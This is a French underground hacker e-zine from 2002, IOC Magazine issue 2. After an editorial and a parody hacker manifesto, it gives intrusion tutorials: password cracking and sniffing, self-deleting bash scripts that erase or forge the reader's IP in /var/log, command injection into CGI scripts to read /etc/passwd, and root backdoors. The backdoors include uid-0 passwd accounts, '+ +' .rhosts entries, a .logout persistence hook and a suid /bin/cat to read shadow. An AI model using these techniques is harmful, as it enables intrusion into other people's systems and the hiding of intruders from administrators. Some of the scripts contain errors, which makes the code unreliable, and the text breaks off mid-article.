Copy Link
Add to Bookmark
Report
Input Output Magazine Issue 02
.: Input Output Corporation :.
http://ioc.multimania.com
[ IOC Magazine ]
Issue#2 v.2 Réedition 01/01/2002
------------------------------------------------------------------------------------------
>>> E D I T O <<<
------------------------------------------------------------------------------------------
A l'heure ou ces lignes sont écrites, on est en 2001. A l'heure ou vous les lirez,
on sera en 2002. On va faire comme si j'y étais. L'euro est arrivé. Les vieux vont
se faire ruiner. C'est vrai, combien vont ne pas faire la différence entre un
billet de 500 euros et un billet de 500F? c'est la question que je me suis posé
l'autre soir. Mais 2002 est aussi l'année de la cybercriminalité - le conseil de
l'europe a voté, au mois de novembre 2001, une loi sur la cybercriminalité dont je
vous ferais une analyse dans le prochain numéro. Cette loi est à la fois bien, et
pas bien. Les lamers se diront 'une loi pour punir les hackers'. Pas seulement je
leur répondrais, car la criminalité c'est un tas de choses. Par exemple, ce texte
de loi prend en compte la diffusion/échange d'images à caractère pédophile via les
réseaux ou encore le racisme. Bref, que des trucs qui n'ont aucun rapport avec le
piratage. Mais bon, que pouvons nous faire ? nous qui sommes nous mêmes une partie
des criminels dont il est question. Seul le futur nous le dira.
En attendant, voici ce tout nouveau numéro.
- Lex Icon
-------------------------------------------------------------------------------------------
>>> A V E R T I S S E M E N T <<<
-------------------------------------------------------------------------------------------
Ce Magazine parle de différents aspects de l'informatique et en particulier de son aspect
plus ou moins détourné comme l'intrusion sur les réseaux / systèmes. Nous ne vous incitons
aucunement à perpétrer des actes tels qu'ils sont décrits dans cette publication. Si vous
souhaitez quand même utiliser les informations contenues dans ce magazine, que vous les
utilisez, que vous vous retrouvez à avoir un mandat d'arrêt international vous impliquant
dans la criminalité informatique, on vous aura mis en garde : ON Y EST POUR RIEN, C'est
votre problème, pas le notre.
___ ____ _ _ _ _ __ _____ _____
/ _\/ \ | \ / || \ / | /\ |__|| __ \ ___|
\ / / \ | \ / || \ / | / \ __ | \/ / |__
_ \ \ | /\ || \/ || \/ |/ \| || /| __|
/ |__ \| \/ || |\ /| || |\ /| | /\ \ || |\ \| |
\ / \ / | | \/ | || | \/ | | /__\ \ || | \ \ |___
\___/ \____/ |_| |_||_| |_|/ \__\||_| \_\____|
-----------------------------------------------------------
| Auteur | n° | T i t r e |
-----------------------------------------------------------
| Neo Fox |I. | On Recrute ! |
-----------------------------------------------------------
| Lex Icon |II. | La scène française |
-----------------------------------------------------------
| Lex Icon |III. | Vous avez dit Hacking ? |
-----------------------------------------------------------
| Lex Icon |IV. | Hack CGI/PERL |
-----------------------------------------------------------
| Neo Fox |V. | Prog. Backdoors 1/2 |
-----------------------------------------------------------
| Neo Fox |VI. | Prog. Backdoors 2/2 |
-----------------------------------------------------------
| Lex Icon |VII. | Buffers Overlows |
-----------------------------------------------------------
| Neo Fox |VIII.| Intro. à TCP/IP 2/2 |
-----------------------------------------------------------
| IOC |IX. | Profil : Lex Icon |
-----------------------------------------------------------
| IOC |X. | Contacts |
-----------------------------------------------------------
-------------------------------------------------------------------------------------------
I. ON RECRUTE !
-------------------------------------------------------------------------------------------
Sur les 4 membres que compte notre groupe, nous ne sommes toujours que 2 à participer à
l'élaboration de ce magazine, pour des raisons de disponibilité.
Etre 2 pour écrire un mag, c'est peu, voir trés peu. Il nous faut écrire au moins 3 ou 4
articles chacun, pour pouvoir mettre en ligne une issue convenable. Cela prends du temps,
et de l'aide serait la bienvenue.
C'est pourquoi l'on recrute :
On recherche des passionnés qui voudraient se joindre à nous
et collaborer à cette publication. On veut des gens qui possédent de bonnes notions de prog.
en C/C++, Perl ou Assembleur, qui s'y connaissent également en intrusion réseau/systèmes,
apellez ça comme vous voulez, Hack ou piratage, bref, on recherche surtout des personnes
motivées. Si vous collez au profil, si vous êtes intéressés par l'aventure, mailez-nous
au plus vite à Invisible_evil_meik@hotmail.com ou neo_fox_2001@hotmail.com.
Je sais pas si vous avez remarqué, mais le tout premier numéro semblait un peu fade.
Le graphisme n'était pas très recherché. Dans ce second numéro, on a un peu essayé de
faire du mieux. Il est clair que c'est pas le graphisme qui doit faire le contenu, mais
bon, c'est pas deux ou trois encadrements qui vont nous tuer. Mais si vous maîtrisez l'art
de l'ascii comme un dieu, vous pouvez nous aider à faire un magazine déjà un peu plus vivant.
---------------------------------------------------------------------------------------------
II. La Scène Française selon Lex Icon
---------------------------------------------------------------------------------------------
Ce qui suit n'est que MON point de vue sur l'état de la scène underground française à
cette date historique du 1er Janvier 2002.
Au lieu de me lancer dans des grands discours, j'ai préféré reprendre un article très
célèbre et le modifier pour qu'il corresponde à l'image que j'ai de l'underground français.
désolé pour ceux qui n'en font pas partie, car il y a des exceptions quand même...
<< Un autre s'est fait prendre aujourd'hui. C'est de partout dans les journaux :
"Un adolescent arrêté pour utilisation de SubSeven", "Scandale, un hacker arrêté pour avoir
mailbombé quelqu'un". Satanés gosses, ils sont tous pareils. Mais vous êtes vous déja, dans
votre howto-hack-hotmail en 3 partie, posé la question "Comment utiliser Back Orifice ?".
Vous êtes vous demandé qu'est ce qui a pu lui faire utiliser phf ? quels scripts l'avaient
modelé ? Qui a bien pu le r00ter ?
Je suis un h4x0r, entrez dans mon monde. Le mien commence avec AOL. Je suis plus futé que
tous les autres newbies, les conneries qu'ils m'apprennent me lassent. Satanés gosses, ils
sont tous pareils. Je suis dans un lycée professionel avec d'autres trisomiques comme moi.
J'ai écouté pour la quinzième fois les conseillers raconter comment réduire l'alcoolisme.
"Non M. le conseiller, je n'ai pas de bière, juste de la J&B". Satané gosse, il a probablement
h4xoré ou téléchargé SubSeven depuis HNC. Ils sont tous pareils.
J'ai fait une découverte aujourd'hui. J'ai trouvé un ordinateur. C'est génial, ça fait ce que je
lui dis de faire. S'il y a une erreur, c'est à cause de Windows, donc il plante.
J'ai eu RedHat 6.0..ugh, il a planté :
- Pas parce qu'il ne m'aime pas
- Pas parce qu'il se sent menacé par moi
- Pas parce qu'il pense que je suis un petit con
- Pas parce qu'il n'aime pas enseigner et ne devrait pas être là
- ... (interrompu)
"Je t'ai dit que c'est Windows !! Sale newbie"
Tout ce qu'il fait, c'est scanner Internet pour trouver des gens infectés par SubSeven.
Ils sont tous pareils. Et c'est arrivé, une porte s'est ouverte au monde, fonçant à travers
la ligne téléphonique comme un nouveau script dans les mains d'un gamin de #hack.fr, un
paquet OOB est envoyé, un refuge de l'utilisation quotidienne d'IRC est préféré, un serveur
est trouvé. "C'est... c'est là où je traine..." Je connais tout le monde ici... même s'ils
m'ont scanné pour B.O, même si je ne leur ai jamais parlé ni même écoutés...
Satanés gosses, ils occupent encore la ligne téléphonique avec leurs appels locaux...
Ils sont tous pareils.
Vous nous rabachez que nous sommes tous pareils... on a été nourri à la petite cuillère
à l'école. On nous donnait du Crack quand on voulait de l'ecstasy. Les morceaux de crack
auxquels on avait droit ne fonctionnaient pas. On a été dominés par cDc ou on a reçu chez
nous la DST. Les rares qui avaient un trojan ou un nuker nous nukaient, mais ces gens là sont
des 3l33t. C'est notre monde aujourd'hui. Le monde de SubSeven et nmap, la beauté des lignes T1.
On utilise un service déjà existant sans payer ce qui pourrait être bon marché si ce n'était pas
la propriété de sites d'exploits 0-day ou de Warez. On existe sans couleur de peau, sans religion,
sans nationalité... et on est des criminels. On est à la recherche de scripts gratuits... et on est
des lamers. Vous vendez des informations sur le nucléaire à la chine, vous trichez, couchez avec
les internes, vous mettez vos pubs sur nos pages de chez.com, vous mentez en nous faisant croire
que c'est pour notre propre bien être... et nous sommes encore des criminels.
Oui je suis un criminel. Mon crime est celui de la curiosité. Mon crime est celui de juger les
gens par les scripts qu'ils possèdent et combien de pages ils ont défacé... non pas par ce à quoi
ils ressemblent. Mon crime est celui d'utiliser Back orifice ou SubSeven. Pardonnez moi, je suis
un newbie et c'est mon manifeste d'élite. Vous pouvez arrêter ce h4xor, mais vous ne pouvez pas
tous nous arrêter, après tout, \V3 0V/n Yew [We Own You]. >>
- FIN
Bon, et encore, pour ceux qui ne sont pas concernés, veuillez faire comme si vous n'avez pas lu
ce document. C'est vrai quoi, de partout on entend parler de mecs qui utilisent des nukers et des
trojans, et ces gars là représentent bien 70% de la scène mondiale, ce qui correspond aussi à près
de 85% de la scène française totale (95% sans compter les vrais hackers qui n'ont pas de site, jamais
écrit dans un magazine, qui ne trainent pas sur IRC... bref, pas moi).
------------------------------------------------------------------------------------------
III. Hacking par Lex Icon
------------------------------------------------------------------------------------------
Bon, c'est parti pour ce guide qui sera, je l'espère, bien compris par tout le monde, y
compris les petits lamers de Windows.
Pour vraiment comprendre ce guide, vous devrez quand même connaître un peu UNIX, même si
je vous donnerais la plupart des explications au fur et à mesure. Cet article n'a pas pour
vocation de vous apprendre comment entrer dans tous les systèmes du monde entier car il y
a des milliers de failles, mais une seule méthodologie...
c'est celle ci que je vais vous apprendre ici.
--|VIEILLES TECHNIQUES ET EXPLOITS LOCAUX|--
Il y a plusieurs techniques de hacking, mais elles ont toutes en commun le fait qu'il faut
exploiter une faille dans un logiciel afin de pouvoir faire quelque chose qu'on ne peut pas
faire en temps normal.
La technique la plus ancienne consiste à cracker le fichier /etc/passwd afin d'obtenir le mot
de passe du root. Voici en gros comment ça marche :
- Vous avez un cracker de passwd (par exemple John1-6)
- Vous le compilez
- Vous le lancez sur le fichier /etc/passwd avec une grosse bibliothèque de mots
- Vous avez le passwd ou vous l'avez pas
Cette méthode ne fonctionnera pas si la machine a les passwd shadow. Si c'est le cas, vous
verrez un x à la place du passwd.
Si vous avez pas réussi, vous devez essayer la technique suivante :
Si vous êtes sur le même réseau que la machine que vous voulez hacker, vous pouvez tester
un sniffer pour sniffer des passwds. Certains bons sniffers sont sniffit, linsniff666 et
linsniffer. Il paraîtrait qu'il existe une version de sniffit pour Windows mais il paraît
aussi qu'elle pue.
Pour se servir d'un sniffer :
- Vous téléchargez le code source
- Vous le compilez sous un nom pas trop évocateur
- Vous le lancez
- Vous revenez quelque temps après
Et maintenant, les exploits... C'est vraiment tout con comme ça marche. C'est un source
que vous compilez ou un script qui s'exécute, qui exploite une faille dans un programme
et qui vous donne le root sur le système. Ci joint, le script crontab_exploit.sh qui
fonctionnait sur ma machine linux jusqu'à ce que je le découvre (faîtes des mises à jour
régulièrement), mais heureusement, personne n'a réussi à entrer dans ma machine à ce jour.
Cet exploit obligatoirement sur un système Linux RedHat 6.0 non patché et qui ont un
Vixie Crontab non mis à jour.
--|TECHNIQUES ET EXPLOITS DISTANTS|--
Les exploits distants fonctionnent de manière que vous puissiez exécuter un programme
sur votre machine, ce programme envoie des données à votre victime en exploitant une
vulnérabilité, ce qui vous donne accès à la machine distante. Le fichier imapx.c est
un exploit qui exploite une vulnérabilité dans certaines implémentations imap4. Une fois
exécuté sur une victime, il se démerde de vous obtenir un shell root.
Parfois, vous devrez savoir quels sont les services proposés par une machine pour savoir quel
genre d'exploit peut être utile. Pour ça, vous utiliserez nmap qui est un bon scanner de ports.
Vous allez me le chercher sur www.insecure.org et vous me l'installez. Puis vous le lancez de
manière simple : % nmap votre_victime ou encore % nmap -sS victime
Par exemple, si votre victime a le port 25 d'ouvert, vous saurez que c'est un port de smtp et
que une grande partie des smtp sont des sendmails. On fait un telnet sur le port 2 de la victime
et on suppose que la version du sendmail qui est renvoyée est 8.9.3. Cool, il y a justement un
exploit pour cette version.
Maintenant, vous savez plus ou moins ce que sont les exploits et leur utilité. Mais si vous
faîtes uniquement ça, vous avez de grandes chances de vous faire choper. Vous devez aussi vous
planquer de sorte à ce que personne ne sache que vous êtes passé. Chaque fois que vous vous
connectez à un système, même qu'une seconde, votre adresse IP est logguée, que ce soit sur le
http ou sur le telnet...
La première chose à connaître est comment nettoyer les fichiers de log. D'habitude, les logs
sont situés dans /var/log. Si un jour on vous dit qu'il faut taper rm -rf /var/log (pour effacer
le dossier entier), rigolez un bon coup et dites vous que vous parlez à un lamer.
Un administrateur système qui ne se rend pas compte qu'il manque son dossier /var/log ne
devrait pas être administrateur système. Si c'est un bon administrateur, il pourra remettre le
tout en place, voir votre adresse IP et porter plainte. Et s'il y a toujours des gens un peu
ignorants pour se dire qu'il est impossible de récupérer des données sous un système UNIX, allez
voir /usr/doc/HOWTO/mini/Ext2fs-Undeletion. Je traduirais ce document pour le magazine N°3.
Ne supprimez aucun fichier. Un moyen pour effacer nos traces (en supposant que notre IP
est 127.0.0.1) est de se faire un petit script qui fera tout...
#!/bin/bash
IP="$1"
cd /var/log
ls -l > list.tmp
for files in 'cat list.tmp'; do
cat $file | grep -v $IP > tpm.$$
mv tmp.$$ > $file
done
rm -f list.tmp
cd
echo "done"
rm -f $0
Vous le sauvegardez sous le nom clean.sh, le rendez exécutable en tapant chmod +x clean.sh et
vous le lancez comme ça (en supposant que vous voulez virer l'adresse 127.0.0.1):
# clean.sh 127.0.0.1
Le script effacera toutes les lignes qui contiennent votre adresse ip puis il s'effacera
tout seul, comme ça vous oublierez pas de l'effacer ;-) Par contre, s'il y a un tripwire
installé, il s'en rendra compte car le fichier ne fera pas la même taille
(à quelques octets près). Donc vous utilisez le script suivant qui met une adresse IP autre
que la votre:
#!/bin/bash
IP="$1"
IP2="$2"
cd /var/log/
ls -1 > list.tmp
for files in `cat list.tmp`; do
sed 's/'$IP'/'$IP2'/g' $files > tmp.$$
mv tmp.$$ $files
done
rm -f list.tmp
cd
echo "Done"
rm -f $0
Et pour le lancer, vous faîtes :
clean.sh 127.0.0.1 187.5.5.7
Assurez vous que l'adresse IP que vous mettez est bien du même format (le même nombre dans
chacune des zones). Ensuite, faîtes la même chose pour votre nom d'hôte. Si vous venez de
127.0.0.1, chercher localhost. Ensuite, exécutez ln -s /dev/null ~/.bash_history
afin que personne ne puisse lire votre fichier d'historique des commandes. C'est mieux que
d'effacer les fichiers.
Ensuite, il y a le bouncing qui consiste à passer par un autre ordinateur avant de vous connecter
à votre cible. En gros :
- Vous vous connectez sur le port 23 d'une wingate
- vous tapez l'ip de la machine sur laquelle vous voulez vous connecter
- et voilà
Je vous conseille de passer par quelques wingates, vous serez déjà plus dur à tracer
(qui s'amuserait à contacter les propriétaires d'une dizaine de wingates ??).
Les lamers appellent ça du spoofing, mais en fait, ça s'appelle du bouncing. Mais bon, les
lamers sont une classe à part. Le vrai spoofing, j'en parlerais énormément dans le prochain
numéro --> quasiment tous mes articles en parleront.
--|CONCLUSION|--
Voilà, c'est la base pure du hacking. Mais même si vous hackez 100 serveurs, vous ne serez
toujours pas un hacker, mais simplement un script kiddie. Devenir un hacker demande énormément
de motivation et de détermination. Pour devenir un hacker, il faut connaître à fond le système
d'exploitation sur lequel on traine, apprendre à programmer en bash, c et parfois même en
assembleur -> pour ensuite découvrir vous même des failles/vulnérabilités et mettre au point
vos propres exploits. C'est comme si vous disiez que vous êtes un webmaster parce que vous savez
utiliser internet explorer, ou dire que vous êtes un programmeur parce que vous savez compiler un
programme. Pour être un hacker, il faut pas se contenter d'exécuter les exploits que les autres
ont mis au point.
---------------------------------------------------------------------------------------------
IV. Hack CGI/Perl part. 1 par Lex Icon
---------------------------------------------------------------------------------------------
--|INTRODUCTION|--
Pour comprendre ce texte, vous devez connaître un minimum le langage perl. Si vous le connaissez
pas, c'est pas grave, je ferais un cours très complet pour le #3, mais c'est pas tout, certains
trucs fonctionnent également avec d'autres langages. Si vous connaissez aucun langage,
ben attendez le prochain numéro - je parlerais de programmation.
--|FONCTIONNEMENT DE PERL/CGI|--
CGI veut dire Common Gategay Interface. Les scripts CGI permettent aux pages web d'interagir avec
un utilisateur via un exécutable basé sur le serveur web. Pour chaque script cgi exécuté, un nouveau
process est lancé et il se terminera dès que le script s'arrêtera. Les données sont envoyées au
serveur pour être traitées, puis retournent à l'utilisateur sous la forme d'une page html.
Le diagramme suivant explique ce processus :
NAVIGATEUR SERVEUR APPLICATION
(utilisateur)
|
Utilisateur --[1]- Serveur envoie le form
affiche le form | au client
| |
entree des -----+----------[2]
donnees et |
envoi au serveur |
| |
[3]----------+--- Serveur envoie
| les donnees
| au script cgi ---[4]----- donnees sont traitees
| et elles sont
| renvoyees
| au serveur
| |
| serveur envoie -------------[5]
Client reçoit | donnees traitees
donnees ----[6]---- au client
traitees |
|
|
[RESEAU]
La plupart des script sont programmés en Perl, mais à la base, n'importe quel langage qui peut
lire depuis "STDIN" (généralement le clavier) peut être utilisé à des fins de CGI. Vu que quasiment
tous les scripts sont faits en perl, ça peut être cool de connaître ce langage.
Le CGI est utilisé pour faire des actions qu'une page web normale ne peut pas faire.
Manipuler les bases de données de comptes utilisateur, calculer des taux de change...
Il existe des scripts pour quasiment tout... mais si ça n'existe pas, vous pouvez toujours
programmer le votre.
--|POURQUOI LA CGI EST VULNERABLE|--
La plus grosse faille dans le système CGI, c'est les entrées utilisateur. Les utilisateurs
peuvent entrer des données dans le script cgi, lui faisant faire des actions pas prévues au
départ, comme lire certains fichiers ou en exécuter d'autres. Et le pire, c'est que ce que
l'utilisateur entre qui permet ça. Regardez ce que ça donnerait si les données entrées étaient
les paramètres passés à la commande ECHO. Selon les permissions qui seraient données à echo,
ça aurait des conséquences catastrophiques sur tout le système. Une utilisation normale serait :
echo "votre texte" << fichier
Mais en modifiant les paramètres, on pourrait faire ça :
echo "votre texte" ; cat /etc/passwd
Ce qui enregistre l'echo sur votre terminal et ensuite appelle cat pour lire le fichier passwd.
Il est important de ne pas faire confiance aux saisies de l'utilisateur. L'exemple ci-dessus est
très simplifié et seulement un script cgi très con autoriserait ça.
Dans cet article, je vais seulement m'occuper des scripts perl vu qu'ils sont les plus nombreux
et contiennent la plupart des failles. Généralement, si vous savez comment sont écrits les scripts
cgi et comment les données sont récupérées et retournées, vous pouvez sauter cette section.
Voici un des scripts les plus simples ci dessous :
#!/usr/bin/perl
# Petit script simple
$variable = "hahaha";
print<<EOF;
Content-Type: text/html
<html>
Hello World! <p>
$variable
</html>
EOF
Voilà. Voyons donc ce qui se passe dans ce script. Dans ce script, on a pas l'occasion d'entrer
ce qu'on veut, mais il y a quand même une sortie. Quand ce script est rendu exécutable dans le
dossier cgi-bin et qu'il est invoqué depuis un navigateur, il affiche simplement "Hello World!"
et "hahaha" à l'écran. Tout ce qu'il y a entre <<EOF; et EOF sera affiché à l'écran comme
une page web, dans lequel des variables comme $variable pourront être utilisées.
Maintenant, regardez l'exemple suivant, il vous permet de lire n'importe quel fichier sur
le système :
#!/usr/bin/perl
# Vous permet de lire n'importe quel fichier
$variable = $ENV(QUERY_STRING);
$variable =~ s/\///g;
open(FILE, $variable);
while (<FILE>)
{
push(@fichier,$_);
}
close(FILE);
print<<EOF;
Content-Type: text/html
<pre>
@fichier
</pre>
EOF
Dans ce cas là, le fichier $variable est ouvert. Une valeur est assignée à $variable
à la 3eme ligne. La variable $ENV(QUERY_STRING) sera l'entrée utilisée dans ce cas.
On va dire qu'on veut lire le fichier passwd avec ce script. Avant tout, on doit le
rendre exécutable, et pour ce faire, on fait :
chmod 755 script.pl
Après l'avoir appelé script.pl et placé dans le dossier cgi-bin du serveur. Puis pour
l'invoquer et l'utiliser à nos fins pas claires, on ouvre cette page dans un navigateur :
http://votre_serveur/cgi-bin/script.pl?/etc/passwd
Et on vous présentera le script à l'écran. La partie après le '?' c'est la valeur qui est
assignée à la variable. Car c'est ce qui va dans $ENV(QUERY_STRING) et par conséquent,
dans $variable (vu que $variable prend la valeur de $ENV qui prend sa valeur de QUERY_STRING
qui correspond à l'entrée utilisateur). J'espère que vous aurez compris via cet exemple que
c'est ce qu'entre l'utilisateur qui est la cause de ce bordel.
--|FILTRER LES ENTREES DE L'UTILISATEUR|--
Pour vous assurer qu'aucun caractère dangereux ne sera utilisé ou du moins ne figurera
dans la valeur de $variable, vous devez enlever ces caractères avant qu'ils ne soient
utilisés pour l'ouverture du fichier ==> une grosse partie du problème sera résolue.
C'est exactement ce qui sera fait pour sécuriser et vérifier l'entrée de l'utilisateur.
Regardez la ligne 5 de mon script du dessus. Si vous la décommentez, tous les slashs
seront enlevés de la saisie utilisateur. Au lieu de /etc/passwd, le script cherchera
etcpasswd qui est un fichier qui en théorie n'existe pas.
Pour comprendre comment la variable sera changée, on doit examiner comment fonctionne
la ligne $variable =~ s/\///g; voici comment elle fonctionne :
$autre_variable = "c'est un texte";
$autre_variable =~ s/texte/ligne/g;
L'opérateur s remplace un certain nombre de caractères dans une chaine. Dans la situation
ci dessus, il remplace 'texte' par 'ligne'. Maintenant, on imagine une autre situation :
$variable = "/etc/passwd";
$variable =~ s/\//BAH/g
La variable sera maintenant "BAHetcBAHpasswd". Si vous regardez attentivement le source, vous
verrez que j'ai mis '\/'. Devinez pourquoi..mettre le / foutrait tout en l'air, et il doit être
'échappé'. Basiquement, c'est le moyen le plus simple de mettre un / dans le champ de
remplacement sans embrouiller l'opérateur. Mais au lieu de la situation ci dessus, on va
remplacer le / par rien du tout.
$variable =~ s/\///g;
Mais peut être que vous comprendrez mieux si je sépare tout :
Opérateur ==> s/
Texte à remplacer ==> /\
Slash de séparation ==> /
Texte de remplacement ==>
Opérateur de fin ==> /g
OK, ça doit vous sembler un peu plus clair maintenant, sinon, allez apprendre à programmer.
Un autre moyen de résoudre ce problème serait d'échapper tous les caractères dangereux.
Mais c'est simplement une alternative à la solution précédente, sauf que cette solution garde
les slashes et les autres caractères dont le programme peut avoir besoin.
L'échappement consiste en la même chose que la substitution, à part que l'utilisation des
caractères de substitution n'est pas la même. Echapper les caractères dangereux consiste à
mettre un anti-slash devant eux. Ce qui échappera tous les méta-caractères du perl. En mettant
un / devant un $, perl pensera que le $ est un simple caractère utilisé par exemple pour
refaire le symbole du dollar.
Dans la plupart des scripts, des méta caractères sont échappés, de cette manière, si quelqu'un
avait tapé "hahaha ;-)" dans un script, ça reste pareil après avoir passé le caractère
d'échappement. Si tous les méta caractères étaient supprimés, la chaine ressemblerait
à "hahaha" vu que ; et ) seraient effacés car ce sont des méta-caractères. Voici comment
les méta-caractères sont gérés :
s/$%*/\\$1/g;
Et pour mieux comprendre, on éclate le tout :
Opérateur de substitution ==> s/
Texte à remplacer ==> $%*
Slash de séparation ==> /
Texte de remplacement ==> \\$1
Opérateur de fin ==> /g
Vous en avez une petite idée maintenant. Il y a une des zones dans les scripts cgi qui doit
être comprise à fond, vu qu'habituellement elle contient des erreurs de programmation qui
sont bonnes à exploiter. Vu que l'entrée utilisateur est la seule chose qu'un hacker peut
potentiellement exploiter, c'est là qu'on va concentrer toute notre attention.
--|CONCLUSION|--
C'est que la fin du premier article de cette longue série.
En gros, ici ce n'étaient que les bases. Dans le prochain numéro, qui sortira on ne sait pas encore quand
(soit le 14 juillet, soit un peu avant), vous verrez comment exploiter des opérateurs de
substitution un peu fragiles. Oui, je sais que vous êtes impatients, mais dans la vie, il faut savoir
se montrer patient, même si une attente de plusieurs mois est longue.
------------------------------------------------------------------------------------------
V. Classic Backdoors, concept & réalisation par NeoFox
------------------------------------------------------------------------------------------
[ Introduction ]
Inutile de préciser que cet article s'adresse en particulier aux newbies d'Unix,
les pratiquants confirmés étant déja rompus à ce genre d'exercice.
[ Sommaire ]
Voici comment va s'articuler l'article :
Partie I. Le concept
-> Généralités
-> Les notions clés
Partie II. Programmation
-> Notions de prog.
-> Installation
-> comeback.c
Partie I : Le concept
_____________________
Réaliser une backdoor est une chose relativement simple, si tant est que le neophyte
maîtrise quelques notions importantes. Une fois que vous aurez lu ce texte en entier,
vous verrez que vous n'aurez plus besion d'aller en chercher sur technotronic.com
lorsque vous serez amenés à en utiliser une ...
Cette partie va donc rapeller les principales définitions et notions utiles pour
comprendre la suite de l'article.
1) Généralités :
________________
[ Vous avez dit backdoor ? ]
Le terme "backdoor" signifie littéralement "Porte de derrière", sous-entendu
par laquelle vous allez passer pour entrer en douce root sur un système.
Une backdoor est un programme, un fichier ou une configuration spéciale qui
est mise en place par un intrus passé root, pour lui permettre à l'avenir de
garder un accès root sans avoir à ré-exploiter la vulnérabilité initiale.
Notre intrus peut donc se repointer sur la machine et passer à nouveau root,
même si l'admin à patché la faille d'origine. Il peut s'avérer utile de plaçer
plusieurs backdoors de manière à en avoir toujours une sous la main au cas où
l'admin viendrait à les découvrir.
Le but des backdoors est de vous redonner le root, ou plus exactement
de vous permettre d'exécuter des commandes en tant que root. Cela revient
donc à exécuter un shell ( interpréteur de commandes ) avec les propriétés
root. Du reste, nous le verrons plus loin, c'est exactement ce que fera
la backdoor que nous allons programmer.
[ Les différents types ]
Les backdoors peuvent revétir différentes formes, des plus simples
aux plus élaborées. Je vais donc lister les principaux types backdoors
mais
. /etc/passwd : Rapellons que l'on est root sur le système,
donc, que nous avons accès à la totalité des fichiers systèmes, y compris
des fichiers sensibles comme les fichiers passwords. Cette backdoor
est la plus simple. Elle consiste à ajouter un utilisateur dans le fichier
password, utilisateur dont le compte aura uid/gid à 0 mais pas de mot de
passe, ce qui aura pour effet de vous donner le root lorsque vous
vous loggerez en tant que ce nouvel user. Rapellons que uid/gid signifient
"User ID" et "Group ID" soit identifiants d'utilisateur de de groupe.
Ce sont comme vous le savez surement des valeurs désignant chaque compte
pour en définir les droits. Plus uid/gid sont faibles, plus le compte à de
droits, la valeur donnant tout les droits et correspondant au compte root.
Une autre solution est d'éditer le fichier passwd à l'aide de vi ou de pico,
puis de débloquer un compte par défaut comme "system" ou "adm" et lui ajouter
un uid/gid 0.
[root@cible.com]# cat /etc/passwd
root:*:0:0:Super-User:/:/bin/bash
bin:*:1:1::/bin:/bin/bash
system::0:0::/:/bin/bash <-
adm:*:3:4::/var/adm:/bin/bash
lp:*:10:4:Printers:/:/bin/bash
john:*:500:20:John Lenon:/home/dead:/bin/sh
jack:*:501:20:Jack Chirac:/home/elysee:/bin/sh
peter:*:502:20:Peter Pan:/home/peter:/bin/sh
wendy:*:503:20:Wendy:/home/wendy:/bin/sh
crochet:*:504:20:Capitaine Crochet:/home/crochet:/bin/sh
laure:*:69:69:Laure St Claire:/home/salope:/bin/fuck
new::0:0:salut tout le monde:/:/bin/sh <-
oussama:*:666:666:Thaliban:/home/khaboul:/bin/laden
[root@cible.com]#
Si vous avez pris le temps de lire en détail chacune des entrées, vous
noterez que cet extrait de fichier a été composé avec humour.
Vous noterez également la présence flagrante de 2 backdoors.
La première est enfait le compte system débloqué, sans mot de passe
et avec uid/gid 0 et pour la seconde un nouvel utilisateur a été ajouté.
L'ennui avec ce genre de backdoors, c'est qu'on ne peut pas faire plus
voyant ! Un administrateur qui jette un coup d'oeil au fichier passwd
vous les vire en 3 sec ...
./.rhosts : Vous êtes toujours loggé sur le système en tant
que root et donc vous avez accès au homedir root qui n'est autre
que la racine. Je pense que vous avez vu où je veux en venir :
[root@cible.com]# echo + + >> $HOME/.rhosts
[root@cible.com]# exit
[user@cible.com]$ rsh -l root localhost sh -i
[root@cible.com]#
Ce qui aura pour effet de premettre à tout le monde de se connecter au
compte root à l'aide des commandes R*. Le premier souci, c'est que
vous destinez cette backdoor à votre usage personnel et ce serait
dommage que par un putain de hasard un crasher se logge dessus en
bouzille tout. Donc le plus judicieux serait de restreindre l'accès
root aux seuls utilisateurs venant du système lui même donc :
[root@cible.com]# echo localhost + >> $HOME/.rhosts
[root@cible.com]#
[user@cible.com]$ rsh -l root localhost sh -i
[root@cible.com]#
Dans ce cas, vous devez faire le rlogin à partir d'un compte utilisateur
de la cible, en local.
L'autre souci, pareil que pour le fichier /etc/passwd, c'est que
l'admin, s'il se doute de quelque chose, aura pour premier réflexe
de vérifier le contenu du homedir du root et virer le .rhosts.
On peut donc faire la chose suivante :
[user@cible.com]$ echo "echo + + > /.rhosts" >> /.logout
[user@cible.com]$
Cela aura pour effet d'inclure une commande dans le fichier .logout,
commande qui sera exécutée lorsque vous mettrez fin à la session en
vous déconnectant. Dans ce cas, à chaque logout, un fichier .rhosts
sera crée, donc dans le cas où le root l'aurait viré ...
En tout cas, vous ne pouvez l'utiliser que si le port correspondant
( 513 ) est ouvert.
De toute façon, cette backdoor classique est trop voyante ...
./bin/cat : Vous vous demandez ce que je veux dire hein ?
En fait, ce n'est pas vraiement ce qu'on peut apeller une backdoor mais
plutot une petite méthode de secours. Je m'explique : l'admin s'aperçoit que
quelqu'un est entré sans être invité. Il va donc se mettre à tout vérifier
comme un fou et va finir par trouver et virer vos backdoors si vous les aviez
mal cachées. Vu que l'intrus a eut accés au compte root, l'admin va en changer
le mot de passe. Le nouveau fichier passwd que de toute façon est shadowed
contient donc le nouveau mot de passe root. Avant de partir, vous aviez piqué le
fichier shadow pour cracker le pass du root, plus quelques pass utilisateurs.
Vous vous repointez donc sur la machine grace l'un des passwords que vous aviez
cracké, vous allez chercher ensuite vos backdoors mais vous voyez qu'elles ont été virées.
Vous n'avez donc plus l'accès root ...
L'exploit que vous aviez utilisé ne fonctionne plus car la faille semble patchée.
Le mot de passe root que vous aviez à été changé, c'est la cata ..
Dans ce cas là, un petit "cat /etc/shadow" serait bien pratique non ?
Seulement voila, vu que le /etc/shadow est en mode 400 c'est à dire en lecture pour
le root seul, il ne peut être affiché par un processus utilisateur, normal.
L'exécutable /bin/cat appartient au root ...
Admettons qu'avant de partir la première fois, vous aviez rendu suid /bin/cat,
dans ce cas, à votre retour en simple user, /bin/cat s'exécuterait avec les
privilèges root et vous auriez dans ce cas /etc/shadow en lecture !
Voici donc la manoeuvre :
[user@cible.com]$ cat /etc/shadow
/etc/shadow : Permission Denided
[user@cible.com]$ cd
[user@cible.com]$ ./votre_exploit
[root@cible.com]# whoami
root
[root@cible.com]# ls -al /bin/cat
-rwxr-xr-x 1 root root 12345 01 Oct 11:12 cat
[root@cible.com]# chmod +s /bin/cat
[root@cible.com]# ls -al /bin/cat
-rwsr-sr-x 1 root root 12345 01 Oct 11:12 cat
[root@cible.com]# exit
[user@cible.com]$ whoami
user
[user@cible.com]$ cat /etc/shadow
root:DLR23dkdç3549d3çd/dz932:0:0:::
system:*:1:1::::
-
-
